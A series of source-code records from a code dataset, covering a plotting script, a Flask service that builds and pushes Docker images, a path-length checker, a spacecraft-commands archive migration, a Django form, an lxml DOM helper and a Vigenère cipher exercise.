xprep= [pop_proportions[x] for x in batch_dict[i]]\n #print(xprep)\n xprep= {\n z: [x for x in range(len(xprep)) if xprep[x] == z] for z in list(set(xprep))\n }\n\n\n yprep= [ydata[x] for x in batch_dict[i]]\n yprep= {\n z: [yprep[x] for x in xprep[z]] for z in xprep.keys()\n }\n for prop_z in yprep.keys():\n compound_kmer[strata][i][prop_z].extend(yprep[prop_z])\n\n x= sorted(xprep.keys())\n y= [np.mean(yprep[z]) for z in x]\n error= [np.std(yprep[z]) for z in x]\n \n plt.errorbar(x,y,yerr=error)\n\n plt.xlabel(xlab)\n #plt.ylim(0,1.5)\n plt.ylabel(ylab)\n plt.title('combined stats')\n\n plt.savefig(fig_dir + 'combined_{}_{}.png'.format(i,strata),bbox_inches='tight')\n plt.close()\n\n####################################################\n#################################################### grid SSD\n\nxlab= 'relative sampling'\nylab= 'mean matrix p-val'\n\ngrid_whole= {}\n\nfor i in batch_dict.keys(): \n plt.figure(figsize=(20, 10))\n\n xprep= [pop_proportions[x] for x in batch_dict[i]]\n xprep= {\n z: [x for x in range(len(xprep)) if xprep[x] == z] for z in list(set(xprep))\n }\n\n\n batch_grids= [grid_diffs[x] for x in batch_dict[i]]\n y_prep= {\n z: [batch_grids[x] for x in xprep[z]] for z in xprep.keys()\n }\n\n y_prep= {\n z: [np.sum(x**2) for x in y_prep[z]] for z in y_prep.keys()\n }\n\n\n surface= sorted(xprep.keys())\n y= [np.mean(y_prep[x]) for x in surface]\n error= [np.std(y_prep[x]) for x in surface]\n\n grid_whole[i]= [surface,y,error]\n\n plt.errorbar(surface,y,yerr=error) \n\n plt.xlabel(xlab)\n #plt.ylim(0,1.5)\n plt.ylabel(ylab)\n plt.title('grid SSD / sample proportion')\n\n plt.savefig(fig_dir + 'gridSSD_{}.png'.format(i),bbox_inches='tight')\n plt.close()\n\nplt.figure(figsize=(20, 10))\n\nfor i in grid_whole.keys():\n plt.errorbar(grid_whole[i][0],grid_whole[i][1],yerr=grid_whole[i][2],label= i) \n\nplt.xlabel(xlab)\n#plt.ylim(0,1.5)\nplt.ylabel(ylab)\nplt.title('grid SSD / sample proportion')\nplt.legend()\nplt.savefig(fig_dir + 'gridSSD_combined_.png',bbox_inches='tight')\nplt.close()\n\n\n\n####################################################\n#################################################### grid SSD II\nNbins= 30\nbins= np.linspace(0,1,Nbins)\nbins= np.round(bins,4)\nbins= [(bins[x-1],bins[x]) for x in range(1,len(bins))]\n\nother_diffs= [count_data[s]['other'] for s in avail_sub]\npop_vector= [count_data[s]['pop'] for s in avail_sub]\npop_set= list(set(pop_vector))\n\npop_batch_dict= {\n ba: {\n pop: [x for x in batch_dict[ba] if pop_vector[x] == pop] for pop in pop_set\n } for ba in batch_dict.keys()\n}\n\nxlab= 'relative sampling'\nylab= 'mean matrix p-val'\n\nview_sets= ['ref','anti']\ngrid_whole= {\n pop: { \n view:{} for view in view_sets\n } for pop in pop_set\n}\n\nfor i in batch_dict.keys():\n for pop in pop_batch_dict[i].keys():\n plt.figure(figsize=(20, 10))\n\n xprep= [pop_proportions[x] for x in pop_batch_dict[i][pop]]\n \n xprep= {\n sum(bi) / 2: [x for x in range(len(xprep)) if xprep[x] > bi[0] and xprep[x] <= bi[1]] for bi in bins\n }\n #xprep= {\n # z: [x for x in range(len(xprep)) if xprep[x] == z] for z in list(set(xprep))\n #}\n\n ### grids\n batch_grids= [grid_diffs[x] for x in pop_batch_dict[i][pop]]\n y_prep= {\n z: [batch_grids[x] for x in xprep[z]] for z in xprep.keys()\n }\n\n y_prep= {\n z: [np.sqrt(np.sum(x**2)) for x in y_prep[z]] for z in y_prep.keys()\n }\n\n surface= sorted(xprep.keys())\n y= [np.mean(y_prep[x]) for x in surface]\n error= [np.std(y_prep[x]) for x in surface]\n\n grid_whole[pop]['ref'][i]= [surface,y,error]\n\n plt.errorbar(surface,y,yerr=error,label= 'ref')\n\n ###\n batch_grids= [other_diffs[x] for x in pop_batch_dict[i][pop]]\n xprep= [pop_proportions[x] for x in pop_batch_dict[i][pop]]\n xprep= np.repeat(xprep,[len(x) for x in batch_grids])\n batch_grids= list(it.chain(*batch_grids))\n\n xprep= {\n sum(bi) / 2: [x for x in range(len(xprep)) if xprep[x] > bi[0] and xprep[x] <= bi[1]] for bi in bins\n }\n \n y_prep= {\n z: [batch_grids[x] for x in xprep[z]] for z in xprep.keys()\n }\n\n y_prep= {\n z: [np.sqrt(np.sum(x**2)) for x in y_prep[z]] for z in y_prep.keys()\n }\n\n surface= sorted(xprep.keys())\n y= [np.mean(y_prep[x]) for x in surface]\n error= [np.std(y_prep[x]) for x in surface]\n\n grid_whole[pop]['anti'][i]= [surface,y,error]\n\n\n plt.errorbar(surface,y,yerr=error,label= 'control') \n\n plt.xlabel(xlab)\n #plt.ylim(0,1.5)\n plt.ylabel(ylab)\n plt.title('grid SSD / sample proportion - control')\n\n plt.legend()\n plt.savefig(fig_dir + 'gridSSD_{}_control.png'.format(pop),bbox_inches='tight')\n plt.close()\n\n\n############################################################# \n############################################################# STRATA\n\n\nfor strata in ['pval','diffs']:\n\n plt.figure(figsize=(20,10))\n \n for batch in batch_dict.keys():\n global_x= sorted(list(compound_kmer[strata][batch].keys()))\n global_y= [np.mean(compound_kmer[strata][batch][x]) for x in global_x]\n global_error= [np.std(compound_kmer[strata][batch][x]) for x in global_x]\n \n plt.errorbar(global_x,global_y,yerr=global_error,label= batch)\n plt.xlabel(xlab)\n plt.ylim(0,1.5)\n plt.ylabel(ylab)\n plt.title('combined stats')\n\n plt.legend()\n plt.savefig(fig_dir + 'combined_{}_{}.png'.format('kmers',strata),bbox_inches='tight')\n plt.close()\n\n\n plt.figure(figsize=(20,10))\n \n for batch in batch_dict.keys():\n global_x= sorted(list(compound_kmer[strata][batch].keys()))\n \n global_error= [np.std(compound_kmer[strata][batch][x]) for x in global_x]\n plt.plot(global_x,global_error,label= batch)\n \n plt.xlabel(xlab)\n #plt.ylim(0,1.5)\n plt.ylabel('variance')\n plt.title('combined stats')\n \n plt.legend()\n plt.savefig(fig_dir + 'combined_{}_{}.png'.format('variance',strata),bbox_inches='tight')\n plt.close()\n\n\n\n","sub_path":"sim_compare/mcount_plot_diffs.py","file_name":"mcount_plot_diffs.py","file_ext":"py","file_size_in_byte":17335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"131594877","text":"import os\nimport time\nimport uuid\nimport redis\nimport shutil\nimport psutil\nimport requests\nimport subprocess\n\nfrom multiprocessing import Process\nfrom flask import Flask, request\nfrom flask_restful import Resource, Api\nfrom psutil import NoSuchProcess\n\napp = Flask(__name__)\napi = Api(app)\n\nclass DockerBuilder(object):\n \"\"\" Class for Docker image building and uploading methods. \"\"\"\n\n @classmethod\n def clean_up(cls, builder_uuid, call_back):\n \"\"\" Clean up work environment. \"\"\"\n\n print(\"Cleaning up builder env {}\".format(builder_uuid))\n shutil.rmtree(builder_uuid, ignore_errors=True)\n if call_back: \n cls.call_back(call_back)\n return\n\n @classmethod\n def call_back(cls, url):\n \"\"\" Call back hook \"\"\"\n\n data = {\"data\": \"well done\"}\n requests.post(url, data=data)\n \n @classmethod\n def build_from_git_repo(cls, git_url, builder_uuid, username, password, docker_repo, org_name, call_back):\n \"\"\" Build docker image from git url. \"\"\"\n\n redis_handle = redis.StrictRedis(host=\"127.0.0.1\", port=6379, db=0)\n work_place_path = os.path.join(os.getcwd(), \"workplace\")\n os.chdir(work_place_path)\n os.makedirs(builder_uuid)\n\n git_cmd = \"git clone {} -- {}\".format(git_url, builder_uuid)\n print(\"Git clone repo and wait for process end.\")\n git_process = subprocess.Popen(git_cmd.split())\n git_process.wait()\n\n docker_file_path = os.path.join(os.getcwd(), builder_uuid)\n name = org_name if org_name else username\n tag = \"containers.cisco.com/{}/{}\".format(name, docker_repo)\n docker_build_cmd = \"docker build -t {} ./{}\".format(tag, builder_uuid)\n print(\"Building docker image from Dockerfile.\")\n\n docker_build_process = subprocess.Popen(docker_build_cmd.split(),\n shell=False,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n\n redis_handle.set('build_pid'+builder_uuid, docker_build_process.pid)\n while True:\n line = docker_build_process.stdout.readline()\n if not line:\n break\n line = line.decode()\n redis_handle.rpush(builder_uuid, line)\n\n print(\"Pushing image to container hub.\")\n try:\n cls.upload_image(builder_uuid, username, password, tag)\n except Exception as e:\n print(\"Pushing failed:\", e)\n finally:\n cls.clean_up(builder_uuid, call_back)\n\n @classmethod\n def upload_image(cls, builder_uuid, username, password, tag):\n \"\"\" Upload docker image to container hub. \"\"\"\n\n redis_handle = redis.StrictRedis(host=\"127.0.0.1\", port=6379, db=0)\n print(\"Logging in container hub\")\n login_cmd = \"docker login -u {} -p {} containers.cisco.com\".format(username, password)\n docker_login_process = subprocess.Popen(login_cmd.split(), stdout=subprocess.PIPE)\n login_result, _ = docker_login_process.communicate()\n if 'Login Succeeded' not in login_result.decode():\n raise Exception(\"Failed to login container hub: {}\".format(login_result.decode()))\n\n print(\"Pushing image to container hub\")\n push_cmd = \"docker push {}\".format(tag)\n docker_push_process = subprocess.Popen(push_cmd.split(),\n shell=False,\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT)\n redis_handle.set('push_pid'+builder_uuid, docker_push_process.pid) \n while True:\n line = docker_push_process.stdout.readline()\n if not line:\n break\n line = line.decode()\n redis_handle.rpush(builder_uuid, line)\n\n print(\"Successfully pushed image\")\n builder_cnt = redis_handle.get('builder_cnt')\n \n if builder_cnt:\n cnt = int(builder_cnt.decode())\n if cnt>= 1000:\n redis_handle.flushall()\n else: \n redis_handle.set('builder_cnt', cnt+1)\n else:\n redis_handle.set('builder_cnt', 1)\n\n print(\"Remove docker image {}\".format(tag))\n docker_rmi_cmd = \"docker rmi {}\".format(tag)\n docker_rmi_process = subprocess.Popen(docker_rmi_cmd.split())\n docker_rmi_process.wait()\n\nclass DockerRestAPI(Resource):\n \"\"\" Docker bulder restful APIs. \"\"\"\n\n def post(self):\n\n git_url = request.form.get(\"git_url\")\n username = request.form.get(\"username\")\n password = request.form.get(\"password\")\n docker_repo = request.form.get(\"docker_repo\")\n org_name = request.form.get(\"org_name\")\n call_back = request.form.get(\"call_back\")\n\n if git_url and username and password and docker_repo:\n builder_uuid = str(uuid.uuid1())\n build_process = Process(name=builder_uuid,\n target=DockerBuilder.build_from_git_repo,\n args=(git_url, builder_uuid, username, password,\n docker_repo, org_name, call_back))\n build_process.start()\n print(\"Docker building process started!\")\n return builder_uuid, 202\n\n return \"Bad Request\", 400\n\nclass GetLogAPI(Resource):\n \"\"\" Get log restful APIs\"\"\"\n\n def get(self, uuid):\n\n redis_handle = redis.StrictRedis(host=\"127.0.0.1\", port=6379, db=0)\n query_result = redis_handle.lrange(uuid, 0, -1)\n query_result = [ele.decode() for ele in query_result]\n return {\"log\": \"\\n\".join(query_result)}\n\nclass GetStatusAPI(Resource):\n \"\"\" Get assignment status \"\"\"\n def get(self, uuid):\n \n redis_handle = redis.StrictRedis(host=\"127.0.0.1\", port=6379, db=0)\n build_pid = redis_handle.get('build_pid'+uuid)\n if build_pid:\n build_pid = int(build_pid.decode())\n else:\n build_status = \"not starting\"\n try:\n build_process = psutil.Process(build_pid)\n build_status = build_process.status()\n except NoSuchProcess:\n build_status = \"done\"\n\n push_pid = redis_handle.get('push_pid'+uuid)\n if push_pid:\n push_pid = int(push_pid.decode())\n else:\n push_status = \"not starting\"\n try: \n push_process = psutil.Process(push_pid)\n push_status = push_process.status()\n except NoSuchProcess:\n push_status = \"done\"\n\n return {\"building_status\": build_status, \"pushing_status\": push_status}\n\napi.add_resource(DockerRestAPI, \"/api/v1\")\napi.add_resource(GetLogAPI, \"/api/v1/\")\napi.add_resource(GetStatusAPI, \"/api/v1/status/\")\n\nif __name__ == \"__main__\":\n app.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"347682261","text":"import os\n\n\nroot_path = r'D:\\!Reports\\4534-2019'\n\n\nlength_paths = set()\n\n# root_obj = os.scandir(root_path)\n# for item in root_obj:\n# print(item.name)\n\n\nfor root, dirs, files in os.walk(root_path):\n for file in files:\n pp = os.sep.join([root, file])\n print(pp)\n print(len(pp))\n length_paths.add(len(pp))\n\n\nprint('max_lenght=', sorted(length_paths)[-1])\n\nq = r'\\\\rum-cherezov-dt'\nz = '4534__git--efd_2019_1.4534_26.02.2019_1'\nprint('q=', len(q))\nprint('z=', len(z))","sub_path":"test_path_length.py","file_name":"test_path_length.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"645189604","text":"# Licensed under a 3-clause BSD style license - see LICENSE.rst\n\"\"\"Functions to migrate from the V1 cmds archive to V2.\n\"\"\"\n\nimport os\nimport pickle\nfrom pathlib import Path\n\nimport numpy as np\nimport Ska.DBI\nfrom astropy.table import Column, Table, vstack\nfrom cxotime import CxoTime\n\nfrom kadi import logger\nfrom kadi.commands.commands_v2 import (\n add_obs_cmds,\n get_load_cmds_from_occweb_or_local,\n update_cmds_archive,\n)\nfrom kadi.commands.core import (\n get_cmds_from_backstop,\n get_par_idx_update_pars_dict,\n ska_load_dir,\n)\n\nlogger.setLevel(1)\n\n\nSKA = Path(os.environ[\"SKA\"])\nCMD_STATES_PATH = SKA / \"data\" / \"cmd_states\" / \"cmd_states.db3\"\n\n\nCMDS_V2_START = \"APR2020A\"\n\n\ndef make_cmds2(start=None, stop=None, step=100):\n \"\"\"Make initial cmds2.h5 and cmds2.pkl between ``start`` and ``stop``.\n\n This first converts the v1 archive to v2 format up through CMDS_V2_START.\n Then it does v2 update_cmds_archive every ``step`` days through ``stop``.\n\n Running with the default step of one year is efficient. For testing it can\n be useful to run with a step size of 7 days to simulate weekly updates.\n\n Example in ipython::\n\n # Optional setup for speed if doing this repeatedly\n >>> from kadi.commands import conf\n >>> conf.cache_loads_in_astropy_cache = True\n\n >>> %run -i utils/migrate_cmds_to_cmds2.py\n >>> make_cmds2()\n \"\"\"\n migrate_cmds1_to_cmds2(start)\n\n # Start the V2 updates a week and a day after CMDS_V2_START\n date = CxoTime(\"2020-04-28\")\n stop = CxoTime(stop)\n while date < stop:\n logger.info(\"*\" * 80)\n logger.info(f\"Updating cmds2 to {date}\")\n logger.info(\"*\" * 80)\n update_cmds_archive(stop=date, lookback=step + 30)\n date += step\n\n # Final catchup to `stop`\n update_cmds_archive(stop=stop, lookback=step + 30)\n\n\ndef migrate_cmds1_to_cmds2(start=None):\n \"\"\"Migrate the legacy cmds.h5 through APR1320A to the new cmds2.h5 format.\n\n Key updates:\n - Migrating from timeline_id to source, which is either the load\n name or \"CMD_EVT\" for commands from the event table.\n - Add star catalog AOSTRCAT params in bytes-encoded form to pars dict.\n\n This create ``cmds2.h5`` and ``cmds2.pkl`` in the current directory.\n\n This includes commands prior to APR1420B, which is the first load of the\n RLTT era that includes LOAD_EVENT commands. This function should mostly be\n used with make_cmds2(), but for example after generating cmds2.h5 and\n cmds2.pkl with this, run::\n\n >>> %run utils/migrate_cmds_to_cmds2.py\n >>> migrate_cmds_to_cmds2()\n >>> from kadi.commands.commands_v2 import update_cmds_archive\n >>> update_cmds_archive(stop='2020-04-28', match_prev_cmds=True)\n\n After this running the ``update_cmds_archive`` command as normal will work.\n\n :param start: CxoTime-like, None\n Start date in existing loads to start at. Used in debugging.\n \"\"\"\n # Load V1 cmds, being explicit about the file in case KADI is set for testing.\n if \"KADI\" in os.environ:\n raise ValueError(\"Cannot have KADI environment variable set\")\n from kadi.commands import commands_v1\n\n cmds = commands_v1.get_cmds(start)\n\n # Make a local copy of cmds params dicts since the processing here updates\n # them in place. Only `pars_dict` gets written but both are used.\n pars_dict = commands_v1.PARS_DICT._val.copy()\n rev_pars_dict = commands_v1.REV_PARS_DICT._val.copy()\n\n # This code is to get the load name (\"source\") for each cmd\n with Ska.DBI.DBI(dbi=\"sqlite\", server=str(CMD_STATES_PATH)) as db:\n timelines = db.fetchall(\"\"\"SELECT * from timelines\"\"\")\n timelines = Table(timelines)\n\n # Make a dict to translate from each timeline_id to the load name\n timeline_id_to_load_name = {0: \"CMD_EVT\"}\n for timeline in timelines:\n # dir looks like /2002/JAN0702/oflsd/\n load_name = timeline[\"dir\"][6:13] + timeline[\"dir\"][-2].upper()\n timeline_id_to_load_name[timeline[\"id\"]] = load_name\n\n # Collect the sources (load names) represented in the cmds.h5, and read\n # each of the backstop files for each load\n sources = []\n starcat_cmds = {}\n for cmd in cmds:\n load_name = timeline_id_to_load_name[cmd[\"timeline_id\"]]\n if load_name != \"CMD_EVT\" and load_name not in starcat_cmds:\n load_cmds = get_load_cmds_from_occweb_or_local(\n load_name=load_name, use_ska_dir=True\n )\n ok = load_cmds[\"tlmsid\"] == \"AOSTRCAT\"\n starcat_cmds[load_name] = load_cmds[ok]\n sources.append(load_name)\n\n # For V1 provenance was provided by timeline_id, replace with source for V2.\n col_index = cmds.colnames.index(\"timeline_id\")\n cmds.add_column(Column(sources, name=\"source\", dtype=\"S8\"), index=col_index)\n del cmds[\"timeline_id\"]\n\n # Fix AONSMSAF in V1 at 2008:225:10:00:00.000 which was actually at\n # 2008:225.10:07:13.600. This was from a CTU reset during the maneuver but\n # the maneuver finished and NSM was because the ACA CCD warmed up (PEA\n # reset). This makes a difference since the actual time is just after the\n # maneuver end.\n print(\"Fixing AONSMSAF at 2008:225:10:00:00.000\")\n idxs = np.where(cmds[\"date\"] == \"2008:225:10:00:00.000\")[0]\n if len(idxs) == 1:\n cmd = cmds[idxs[0]]\n cmd[\"date\"] = \"2008:225:10:07:13.600\"\n\n # Fix incorrect interrupt time for OCT1606B. Commands after 295:18:59:00 are\n # superceded by OCT2206A.\n bad = (cmds[\"source\"] == \"OCT1606B\") & (cmds[\"date\"] > \"2006:295:18:59:00\")\n print(f\"Removing {np.count_nonzero(bad)} bad commands from OCT1606B\")\n cmds = cmds[~bad]\n\n # Assign params for every AOSTRCAT command\n for ii, idx in enumerate(np.flatnonzero(cmds[\"tlmsid\"] == \"AOSTRCAT\")):\n if ii % 1000 == 0:\n print(f\"Processing star catalog {ii}\")\n cmd = cmds[idx]\n load_starcat_cmds = starcat_cmds[cmd[\"source\"]]\n ok = load_starcat_cmds[\"date\"] == cmd[\"date\"]\n if np.count_nonzero(ok) == 1:\n params = load_starcat_cmds[\"params\"][ok][0]\n # Get new integer index for this starcat command. This also encodes\n # `params` into a bytes string which is what gets stored in\n # pars_dict.\n cmd[\"idx\"] = get_par_idx_update_pars_dict(pars_dict, cmd, params)\n else:\n raise ValueError(f\"Expected 1 AOSTRCAT cmd for {cmd}\")\n\n idx_stop = np.flatnonzero(cmds[\"source\"] == CMDS_V2_START)[0]\n cmds = cmds[:idx_stop]\n\n print(\"Adding obsid commands\")\n cmds = add_obs_cmds(cmds, pars_dict, rev_pars_dict)\n\n del cmds[\"params\"]\n print(f\"Writing {len(cmds)} cmds to cmds2.h5\")\n cmds.write(\"cmds2.h5\", path=\"data\", overwrite=True)\n print(f\"Writing {len(pars_dict)} pars dict entries to cmds2.pkl\")\n pickle.dump(pars_dict, open(\"cmds2.pkl\", \"wb\"))\n\n\n###############################################################################\n# Stuff after here was used in initial testing / dev of the commands v2 code.\n# Probably not useful going forward.\n###############################################################################\ndef get_backstop_cmds_from_load_legacy(load):\n \"\"\"This also updates the load cmd_start and cmd_stop as a side effect.\"\"\"\n # THIS WILL BE MADE FASTER by using pre-generated gzipped CommandTable files\n load_name = load if isinstance(load, str) else load[\"name\"]\n load_dir = ska_load_dir(load_name)\n backstop_files = list(load_dir.glob(\"CR*.backstop\"))\n if len(backstop_files) != 1:\n raise ValueError(f\"Expected 1 backstop file for {load_name}\")\n bs = get_cmds_from_backstop(backstop_files[0], remove_starcat=True)\n return bs\n\n\ndef fix_load_based_on_backstop_legacy(load, bs):\n # Get the first and last cmds for the load which are not the RLTT and\n # scheduled_stop pseudo-cmds.\n for cmd in bs:\n if cmd[\"type\"] != \"LOAD_EVENT\":\n load[\"cmd_start\"] = cmd[\"date\"]\n break\n for cmd in bs[::-1]:\n if cmd[\"type\"] != \"LOAD_EVENT\":\n load[\"cmd_stop\"] = cmd[\"date\"]\n break\n for cmd in bs:\n if (\n cmd[\"type\"] == \"LOAD_EVENT\"\n and cmd[\"params\"][\"event_type\"] == \"RUNNING_LOAD_TERMINATION_TIME\"\n ):\n load[\"rltt\"] = cmd[\"date\"]\n break\n for cmd in bs[::-1]:\n if (\n cmd[\"type\"] == \"LOAD_EVENT\"\n and cmd[\"params\"][\"event_type\"] == \"SCHEDULED_STOP_TIME\"\n ):\n load[\"scheduled_stop_time\"] = cmd[\"date\"]\n break\n\n if load[\"observing_stop\"] == load[\"cmd_stop\"]:\n del load[\"observing_stop\"]\n if load[\"vehicle_stop\"] == load[\"cmd_stop\"]:\n del load[\"vehicle_stop\"]\n\n\ndef get_backstop_cmds_from_loads_legacy(loads):\n \"\"\"Get all the commands using LEGACY products, specifically loads includes\n interrupt times from legacy timelines.\n \"\"\"\n bs_list = []\n for load in loads:\n bs = get_backstop_cmds_from_load_legacy(load)\n fix_load_based_on_backstop_legacy(load, bs)\n\n bs = interrupt_load_commands_legacy(load, bs)\n\n bs_list.append(bs)\n\n bs_cmds = vstack(bs_list)\n bs_cmds.sort([\"date\", \"step\", \"scs\"])\n return bs_cmds\n\n\ndef interrupt_load_commands_legacy(load, cmds):\n # Cut commands beyond stop times\n bad = np.zeros(len(cmds), dtype=bool)\n if \"observing_stop\" in load:\n bad |= (cmds[\"date\"] > load[\"observing_stop\"]) & (cmds[\"scs\"] > 130)\n if \"vehicle_stop\" in load:\n bad |= (cmds[\"date\"] > load[\"vehicle_stop\"]) & (cmds[\"scs\"] < 131)\n if np.any(bad):\n cmds = cmds[~bad]\n return cmds\n","sub_path":"utils/migrate_cmds_to_cmds2.py","file_name":"migrate_cmds_to_cmds2.py","file_ext":"py","file_size_in_byte":9648,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"65209327","text":"from django import forms\nfrom django.forms import ModelForm\nfrom .models import Room\n\nclass RoomPostForm(ModelForm):\n \"\"\" inherits the Room model and casts as a form \"\"\"\n class Meta:\n model = Room\n fields = ['property_name', \n 'description', \n 'cost', \n 'number_of_rooms', \n 'property_type',\n 'garages',]\n","sub_path":"home/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"242941293","text":"from __future__ import absolute_import, unicode_literals\n\nimport inspect\nimport re\n\nfrom lxml import etree, html\n\n# Python 2/3 unicode compatibility hack.\n# See http://stackoverflow.com/questions/6812031/how-to-make-unicode-string-with-python3\nXLINK = 'http://www.w3.org/1999/xlink'\n\ntry:\n UNICODE_EXISTS = bool(type(unicode))\nexcept NameError:\n def unicode(s):\n return str(s)\n\n\ndef clean_str(s):\n if not isinstance(s, basestring):\n s = unicode(s)\n\n elif not isinstance(s, unicode):\n s = s.decode('utf8')\n # See http://stackoverflow.com/questions/8733233/filtering-out-certain-bytes-in-python\n return re.sub(u'[^\\u0020-\\uD7FF\\u0009\\u000A\\u000D\\uE000-\\uFFFD\\u10000-\\u10FFFF]+', '', s)\n\n\nclass DOM(object):\n \"\"\"\n Wrapper around our HTML building library to facilitate changes.\n \"\"\"\n @staticmethod\n def create_tag(type_, attributes=None):\n return etree.Element(type_, attrib=attributes)\n\n @staticmethod\n def create_element(type_=None, props=None, *children):\n \"\"\"\n Signature inspired by React.createElement.\n createElement(\n string/ReactClass type,\n [object props],\n [children ...]\n )\n https://facebook.github.io/react/docs/top-level-api.html#react.createelement\n \"\"\"\n if not type_:\n return DOM.create_document_fragment()\n\n if len(children) and isinstance(children[0], (list, tuple)):\n children = children[0]\n\n props = props or {}\n\n if 'className' in props:\n props['class'] = props.pop('className')\n\n if 'xlink:href' in props:\n props['{%s}href' % XLINK] = props.pop('xlink:href')\n\n if inspect.isclass(type_):\n elt = type_().render(props)\n else:\n try:\n attributes = {k: unicode(v) for k, v in props.items() if v is not None}\n except:\n attributes = {k: clean_str(v) for k, v in props.items() if v is not None}\n elt = DOM.create_tag(type_, attributes)\n\n for child in children:\n DOM.append_child(elt, child)\n\n return elt\n\n @staticmethod\n def create_document_fragment():\n return DOM.create_tag('fragment')\n\n @staticmethod\n def create_text_node(text):\n elt = DOM.create_tag('textnode')\n DOM.set_text_content(elt, text)\n return elt\n\n @staticmethod\n def parse_html(markup):\n return html.fromstring(markup)\n\n @staticmethod\n def append_child(elt, child):\n if child not in (None, ''):\n if hasattr(child, 'tag'):\n elt.append(child)\n else:\n elt_text = DOM.get_text_content(elt) or ''\n try:\n elt_text += child\n except:\n elt_text += clean_str(child)\n DOM.set_text_content(elt, elt_text)\n\n @staticmethod\n def set_attribute(elt, attr, value):\n elt.set(attr, value)\n\n @staticmethod\n def get_tag_name(elt):\n return elt.tag\n\n @staticmethod\n def get_class_list(elt):\n class_name = elt.get('class')\n return re.split('\\ +', class_name) if class_name else []\n\n @staticmethod\n def get_text_content(elt):\n return ''.join(elt.itertext())\n\n @staticmethod\n def set_text_content(elt, text):\n try:\n elt.text = text\n except:\n elt.text = clean_str(text)\n\n @staticmethod\n def get_children(elt):\n return elt.getchildren()\n\n @staticmethod\n def render(elt):\n \"\"\"\n Removes the fragments that should not have HTML tags. Caveat of lxml.\n Dirty, but quite easy to understand.\n \"\"\"\n return re.sub(r'', '',\n etree.tostring(elt, method='html', encoding='unicode'))\n\n @staticmethod\n def pretty_print(markup):\n \"\"\"\n Convenience method.\n Pretty print the element, removing the top-level node that lxml needs.\n \"\"\"\n return re.sub(r'', '',\n etree.tostring(\n html.fromstring('%s' % markup),\n encoding='unicode',\n pretty_print=True))\n","sub_path":"draftjs_exporter/dom.py","file_name":"dom.py","file_ext":"py","file_size_in_byte":4267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"544180083","text":"from enum import IntEnum, auto\n\n\ndef get_option():\n \"\"\"Prompt the user to select an option\"\"\"\n max_option = max([option.value for option in Option])\n\n print(\"\"\"1: Input text to work with\n2: Print the current text\n3: Encrypt the current text\n4: Decrypt the current text\n5: Exit \"\"\")\n\n # Repeat until valid input\n is_valid = False\n while not is_valid:\n option = input(\"Your choice: \")\n try:\n option = int(option)\n if not (0 < option <= max_option):\n raise ValueError\n is_valid = True\n except ValueError:\n print(f\"'{option}' is not a valid option.\" +\n f\" Only numbers 1-{max_option} are acceptable.\")\n return option\n\n\ndef input_message():\n \"\"\"Returns a user submitted message\"\"\"\n return input(\"Your text: \").upper()\n\n\ndef print_message(msg):\n \"\"\"Prints 'Your text: msg'\"\"\"\n print(\"Your text: \" + msg)\n\n\ndef get_char_values(char_idx, key_idx, msg, key):\n \"\"\"Returns the positions in the alphabet for the characters \\\n at position idx in the msg and key \"\"\"\n\n # Get the numerical value for the key character\n key_idx = key_idx % len(key)\n key_char = key[key_idx]\n key_char_value = ord(key_char) - ORD_A\n\n # Get the numerical value for the message character\n msg_char = msg[char_idx]\n msg_char_value = ord(msg_char) - ORD_A\n\n return msg_char_value, key_char_value\n\n\ndef encrypt(msg, key):\n \"\"\"Encrypts msg with the key, using Vigenère-cipher\"\"\"\n encrypted_msg = \"\"\n key_idx = 0\n for char_idx, msg_char in enumerate(msg):\n # If the character is a space, don't encrypt it\n if msg_char == \" \":\n encrypted_msg += \" \"\n else:\n # Get the values for message and key characters\n msg_char_value, key_char_value = get_char_values(\n char_idx, key_idx, msg, key)\n\n # Get the encrypted letter and add it to the encrypted message\n encr_letter_value = (\n msg_char_value + key_char_value) % LENGTH_ALPHABET\n encr_letter = chr(encr_letter_value + ORD_A)\n encrypted_msg += encr_letter\n\n key_idx += 1\n\n return encrypted_msg\n\n\ndef decrypt(msg, key):\n \"\"\"Decrypts msg with the key, using Vigenère-cipher\"\"\"\n decrypted_msg = \"\"\n key_idx = 0\n for char_idx, msg_char in enumerate(msg):\n # If the character is a space, don't decrypt it\n if msg_char == \" \":\n decrypted_msg += \" \"\n else:\n # Get the values for message and key characters\n msg_char_value, key_char_value = get_char_values(\n char_idx, key_idx, msg, key)\n\n # Get the decrypted letter and add it to the encrypted message\n decr_letter_value = (\n msg_char_value - key_char_value) % LENGTH_ALPHABET\n decr_letter = chr(decr_letter_value + ORD_A)\n decrypted_msg += decr_letter\n\n key_idx += 1\n\n return decrypted_msg\n\n\ndef main():\n \"\"\"Main method\"\"\"\n message = \"\"\n exit_app = False\n\n # Repeat until user exits\n while not exit_app:\n # Get an option\n option = get_option()\n\n if option == Option.INPUT:\n message = input_message()\n\n elif option == Option.OUTPUT:\n print_message(message)\n\n elif option == Option.ENCRYPT:\n key = input(\"Key: \").upper()\n message = encrypt(message, key)\n\n elif option == Option.DECRYPT:\n key = input(\"Key: \").upper()\n message = decrypt(message, key)\n\n elif option == Option.EXIT:\n print(\"Bye\")\n exit_app = True\n\n print()\n\n\nclass Option(IntEnum):\n INPUT = 1\n OUTPUT = 2\n ENCRYPT = 3\n DECRYPT = 4\n EXIT = 5\n\n\nORD_A = ord(\"A\")\nLENGTH_ALPHABET = 26\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"Inlämning 1/seminarium_1_chiffer.py","file_name":"seminarium_1_chiffer.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"125068262","text":"# -*- coding: utf-8 